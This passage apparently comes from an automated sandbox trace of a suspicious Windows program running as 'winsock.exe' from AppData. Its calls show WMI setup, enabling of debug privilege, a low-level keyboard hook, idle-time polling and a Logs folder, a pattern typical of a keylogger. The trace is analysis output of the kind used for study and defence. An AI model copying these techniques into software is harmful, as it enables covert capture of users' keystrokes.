lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x4efec38, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOrigin ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 17 [0160.442] GetProcAddress (hModule=0x6bb50000, lpProcName="GetPropertyOrigin") returned 0x6bb52800 [0160.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x4efec3c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFrom´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 12 [0160.468] GetProcAddress (hModule=0x6bb50000, lpProcName="InheritsFrom") returned 0x6bb52880 [0160.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x4efec40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 9 [0160.470] GetProcAddress (hModule=0x6bb50000, lpProcName="GetMethod") returned 0x6bb526b0 [0160.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x4efec40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 9 [0160.487] GetProcAddress (hModule=0x6bb50000, lpProcName="PutMethod") returned 0x6bb52ae0 [0160.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x4efec3c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethod´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 12 [0160.501] GetProcAddress (hModule=0x6bb50000, lpProcName="DeleteMethod") returned 0x6bb52430 [0160.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x4efec34, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumerationÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 22 [0160.503] GetProcAddress (hModule=0x6bb50000, lpProcName="BeginMethodEnumeration") returned 0x6bb52070 [0160.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x4efec40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethodÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 10 [0160.504] GetProcAddress (hModule=0x6bb50000, lpProcName="NextMethod") returned 0x6bb52940 [0160.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x4efec34, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 20 [0160.522] GetProcAddress (hModule=0x6bb50000, lpProcName="EndMethodEnumeration") returned 0x6bb524f0 [0160.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x4efec34, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 21 [0160.523] GetProcAddress (hModule=0x6bb50000, lpProcName="GetMethodQualifierSet") returned 0x6bb52710 [0160.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x4efec38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0160.525] GetProcAddress (hModule=0x6bb50000, lpProcName="GetMethodOrigin") returned 0x6bb526e0 [0160.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x4efec38, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 16 [0160.527] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_Get") returned 0x6bb52b70 [0160.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x4efec38, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 16 [0160.544] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_Put") returned 0x6bb52c00 [0160.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x4efec34, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete", lpUsedDefaultChar=0x0) returned 19 [0160.565] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_Delete") returned 0x6bb52b30 [0160.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x4efec34, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNames ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 21 [0160.567] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_GetNames") returned 0x6bb52ba0 [0160.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x4efec2c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumeration ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 29 [0160.581] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6bb52b10 [0160.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x4efec38, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Next ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 17 [0160.583] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_Next") returned 0x6bb52bd0 [0160.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x4efec2c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration", lpUsedDefaultChar=0x0) returned 27 [0160.606] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_EndEnumeration") returned 0x6bb52b50 [0160.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x4efec30, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0160.608] GetProcAddress (hModule=0x6bb50000, lpProcName="GetCurrentApartmentType") returned 0x6bb52860 [0160.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x4efec34, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 20 [0160.620] GetProcAddress (hModule=0x6bb50000, lpProcName="GetDemultiplexedStub") returned 0x6bb52660 [0160.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x4efec34, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmi ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 21 [0160.633] GetProcAddress (hModule=0x6bb50000, lpProcName="CreateInstanceEnumWmi") returned 0x6bb52380 [0160.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x4efec38, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmiÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 18 [0160.664] GetProcAddress (hModule=0x6bb50000, lpProcName="CreateClassEnumWmi") returned 0x6bb522f0 [0160.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x4efec3c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmi´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 12 [0160.665] GetProcAddress (hModule=0x6bb50000, lpProcName="ExecQueryWmi") returned 0x6bb525a0 [0160.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x4efec30, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 24 [0160.702] GetProcAddress (hModule=0x6bb50000, lpProcName="ExecNotificationQueryWmi") returned 0x6bb52510 [0160.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x4efec3c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmiÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 14 [0160.703] GetProcAddress (hModule=0x6bb50000, lpProcName="PutInstanceWmi") returned 0x6bb52a40 [0160.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x4efec3c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi", lpUsedDefaultChar=0x0) returned 11 [0160.731] GetProcAddress (hModule=0x6bb50000, lpProcName="PutClassWmi") returned 0x6bb529a0 [0160.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x4efec30, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 24 [0160.733] GetProcAddress (hModule=0x6bb50000, lpProcName="CloneEnumWbemClassObject") returned 0x6bb52170 [0160.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x4efec38, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 16 [0160.746] GetProcAddress (hModule=0x6bb50000, lpProcName="ConnectServerWmi") returned 0x6bb52230 [0160.760] CoCreateInstance (in: rclsid=0x6bb513b4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6bb51414*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x4eff364 | out: ppv=0x4eff364*=0xe87580) returned 0x0 [0160.761] WbemLocator:IWbemLocator:ConnectServer (in: This=0xe87580, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x4eff3f8 | out: ppNamespace=0x4eff3f8*=0xea3258) returned 0x0 [0160.815] WbemLocator:IUnknown:QueryInterface (in: This=0xea3258, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4eff28c | out: ppvObject=0x4eff28c*=0xe8aaf4) returned 0x0 [0160.816] WbemLocator:IClientSecurity:QueryBlanket (in: This=0xe8aaf4, pProxy=0xea3258, pAuthnSvc=0x4eff2dc, pAuthzSvc=0x4eff2d8, pServerPrincName=0x4eff2d0, pAuthnLevel=0x4eff2d4, pImpLevel=0x4eff2c4, pAuthInfo=0x4eff2c8, pCapabilites=0x4eff2cc | out: pAuthnSvc=0x4eff2dc*=0xa, pAuthzSvc=0x4eff2d8*=0x0, pServerPrincName=0x4eff2d0, pAuthnLevel=0x4eff2d4*=0x6, pImpLevel=0x4eff2c4*=0x2, pAuthInfo=0x4eff2c8, pCapabilites=0x4eff2cc*=0x1) returned 0x0 [0160.816] WbemLocator:IUnknown:Release (This=0xe8aaf4) returned 0x1 [0160.816] WbemLocator:IUnknown:QueryInterface (in: This=0xea3258, riid=0x6bb51224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4eff280 | out: ppvObject=0x4eff280*=0xe8ab18) returned 0x0 [0160.816] WbemLocator:IUnknown:QueryInterface (in: This=0xea3258, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4eff26c | out: ppvObject=0x4eff26c*=0xe8aaf4) returned 0x0 [0160.816] WbemLocator:IClientSecurity:SetBlanket (This=0xe8aaf4, pProxy=0xea3258, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.816] WbemLocator:IUnknown:Release (This=0xe8aaf4) returned 0x2 [0160.816] WbemLocator:IUnknown:Release (This=0xe8ab18) returned 0x1 [0160.816] CoTaskMemFree (pv=0xe9d658) [0160.817] WbemLocator:IUnknown:Release (This=0xe87580) returned 0x0 [0160.817] WbemLocator:IUnknown:QueryInterface (in: This=0xea3258, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4efee7c | out: ppvObject=0x4efee7c*=0xe8ab18) returned 0x0 [0160.817] WbemLocator:IUnknown:QueryInterface (in: This=0xe8ab18, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x4efee38 | out: ppvObject=0x4efee38*=0x0) returned 0x80004002 [0160.821] WbemLocator:IUnknown:QueryInterface (in: This=0xe8ab18, riid=0x6f209bb4*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x4efec54 | out: ppvObject=0x4efec54*=0x0) returned 0x80004002 [0160.822] WbemLocator:IUnknown:QueryInterface (in: This=0xea3258, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x4efea2c | out: ppvObject=0x4efea2c*=0x0) returned 0x80004002 [0160.822] WbemLocator:IUnknown:AddRef (This=0xe8ab18) returned 0x3 [0160.822] WbemLocator:IUnknown:QueryInterface (in: This=0xe8ab18, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x4efe78c | out: ppvObject=0x4efe78c*=0x0) returned 0x80004002 [0160.822] WbemLocator:IUnknown:QueryInterface (in: This=0xe8ab18, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x4efe73c | out: ppvObject=0x4efe73c*=0x0) returned 0x80004002 [0160.822] WbemLocator:IUnknown:QueryInterface (in: This=0xe8ab18, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4efe748 | out: ppvObject=0x4efe748*=0xe8aa74) returned 0x0 [0160.822] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0xe8aa74, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x4efe750 | out: pCid=0x4efe750*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.823] WbemLocator:IUnknown:Release (This=0xe8aa74) returned 0x3 [0160.823] CoGetContextToken (in: pToken=0x4efe7a8 | out: pToken=0x4efe7a8) returned 0x0 [0160.823] CoGetContextToken (in: pToken=0x4efebb0 | out: pToken=0x4efebb0) returned 0x0 [0160.823] WbemLocator:IUnknown:QueryInterface (in: This=0xe8ab18, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4efec3c | out: ppvObject=0x4efec3c*=0xe8aafc) returned 0x0 [0160.823] WbemLocator:IRpcOptions:Query (in: This=0xe8aafc, pPrx=0xe8ab18, dwProperty=2, pdwValue=0x4efec48 | out: pdwValue=0x4efec48) returned 0x80004002 [0160.823] WbemLocator:IUnknown:Release (This=0xe8aafc) returned 0x3 [0160.823] WbemLocator:IUnknown:Release (This=0xe8ab18) returned 0x2 [0160.823] CoGetContextToken (in: pToken=0x4eff190 | out: pToken=0x4eff190) returned 0x0 [0160.823] CoGetContextToken (in: pToken=0x4eff0f0 | out: pToken=0x4eff0f0) returned 0x0 [0160.823] WbemLocator:IUnknown:QueryInterface (in: This=0xe8ab18, riid=0x4eff1c0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x4eff1bc | out: ppvObject=0x4eff1bc*=0xea3258) returned 0x0 [0160.823] WbemLocator:IUnknown:AddRef (This=0xea3258) returned 0x4 [0160.823] WbemLocator:IUnknown:Release (This=0xea3258) returned 0x3 [0160.824] WbemLocator:IUnknown:Release (This=0xea3258) returned 0x2 [0160.830] SysStringLen (param_1=0x0) returned 0x0 [0160.832] CoUninitialize () Thread: id = 163 os_tid = 0x135c [0160.844] CoGetContextToken (in: pToken=0x4eff11c | out: pToken=0x4eff11c) returned 0x0 [0160.844] CoGetContextToken (in: pToken=0x4eff10c | out: pToken=0x4eff10c) returned 0x0 [0160.845] CoGetMarshalSizeMax (in: pulSize=0x4eff0c8, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0xe8ab18, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x4eff0c8) returned 0x0 [0160.846] CoMarshalInterface (pStm=0xea3460, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0xe8ab18, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 Thread: id = 164 os_tid = 0x1358 Thread: id = 165 os_tid = 0x134c [0162.260] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0162.260] RoInitialize () returned 0x1 [0162.260] RoUninitialize () returned 0x0 [0162.261] ResetEvent (hEvent=0x3f4) returned 1 Thread: id = 166 os_tid = 0x1354 [0162.968] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0162.968] RoInitialize () returned 0x1 [0162.968] RoUninitialize () returned 0x0 [0168.122] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff620 | out: lpPerformanceCount=0x51ff620*=3140841510128) returned 1 [0168.261] GetLastInputInfo (in: plii=0x51ff618 | out: plii=0x51ff618*(cbSize=0x8, dwTime=0x1dda23b)) returned 1 [0173.269] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff620 | out: lpPerformanceCount=0x51ff620*=3141356197973) returned 1 [0173.269] GetLastInputInfo (in: plii=0x51ff618 | out: plii=0x51ff618*(cbSize=0x8, dwTime=0x1dda23b)) returned 1 [0178.284] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff620 | out: lpPerformanceCount=0x51ff620*=3141857726448) returned 1 [0178.284] GetLastInputInfo (in: plii=0x51ff618 | out: plii=0x51ff618*(cbSize=0x8, dwTime=0x1ddc15b)) returned 1 [0183.351] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff620 | out: lpPerformanceCount=0x51ff620*=3142364405436) returned 1 [0183.351] GetLastInputInfo (in: plii=0x51ff618 | out: plii=0x51ff618*(cbSize=0x8, dwTime=0x1ddc15b)) returned 1 Thread: id = 172 os_tid = 0xa0c [0163.877] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0163.877] RoInitialize () returned 0x1 [0163.877] RoUninitialize () returned 0x0 [0164.338] GetCurrentProcessId () returned 0x12f8 [0164.343] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x533ed5c | out: lpLuid=0x533ed5c*(LowPart=0x14, HighPart=0)) returned 1 [0164.347] GetCurrentProcess () returned 0xffffffff [0164.347] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x533ed58 | out: TokenHandle=0x533ed58*=0x5d4) returned 1 [0164.348] AdjustTokenPrivileges (in: TokenHandle=0x5d4, DisableAllPrivileges=0, NewState=0x26a1584*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0164.348] CloseHandle (hObject=0x5d4) returned 1 [0164.349] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12f8) returned 0x5d4 [0164.414] EnumProcessModules (in: hProcess=0x5d4, lphModule=0x26a15c8, cb=0x100, lpcbNeeded=0x533f4cc | out: lphModule=0x26a15c8, lpcbNeeded=0x533f4cc) returned 1 [0164.415] EnumProcessModules (in: hProcess=0x5d4, lphModule=0x26a16d4, cb=0x200, lpcbNeeded=0x533f4cc | out: lphModule=0x26a16d4, lpcbNeeded=0x533f4cc) returned 1 [0164.417] GetModuleInformation (in: hProcess=0x5d4, hModule=0xcb0000, lpmodinfo=0x26a1914, cb=0xc | out: lpmodinfo=0x26a1914*(lpBaseOfDll=0xcb0000, SizeOfImage=0x5e000, EntryPoint=0x0)) returned 1 [0164.417] CoTaskMemAlloc (cb=0x804) returned 0xeaa350 [0164.417] GetModuleBaseNameW (in: hProcess=0x5d4, hModule=0xcb0000, lpBaseName=0xeaa350, nSize=0x800 | out: lpBaseName="winsock.exe") returned 0xb [0164.418] CoTaskMemFree (pv=0xeaa350) [0164.418] CoTaskMemAlloc (cb=0x804) returned 0xeaa350 [0164.418] GetModuleFileNameExW (in: hProcess=0x5d4, hModule=0xcb0000, lpFilename=0xeaa350, nSize=0x800 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir\\winsock.exe")) returned 0x38 [0164.419] CoTaskMemFree (pv=0xeaa350) [0164.419] CloseHandle (hObject=0x5d4) returned 1 [0164.508] SetWindowsHookExW (idHook=13, lpfn=0x4af0716, hmod=0xcb0000, dwThreadId=0x0) returned 0xc00fb [0164.558] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x533f4d0 | out: UnbiasedTime=0x533f4d0) returned 1 [0166.133] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x533f4c0 | out: UnbiasedTime=0x533f4c0) returned 1 [0166.169] CoTaskMemAlloc (cb=0x20c) returned 0xef8068 [0166.169] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0xef8068 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0166.170] CoTaskMemFree (pv=0xef8068) [0166.170] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x533ef4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0166.200] CoTaskMemAlloc (cb=0x20c) returned 0xed3d88 [0166.200] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0xed3d88 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0166.200] CoTaskMemFree (pv=0xed3d88) [0166.200] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x533ef4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0166.200] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs", nBufferLength=0x105, lpBuffer=0x533efe8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs", lpFilePart=0x0) returned 0x2a [0166.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x533f4c8) returned 1 [0166.200] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\logs"), fInfoLevelId=0x0, lpFileInformation=0x26a7ad0 | out: lpFileInformation=0x26a7ad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 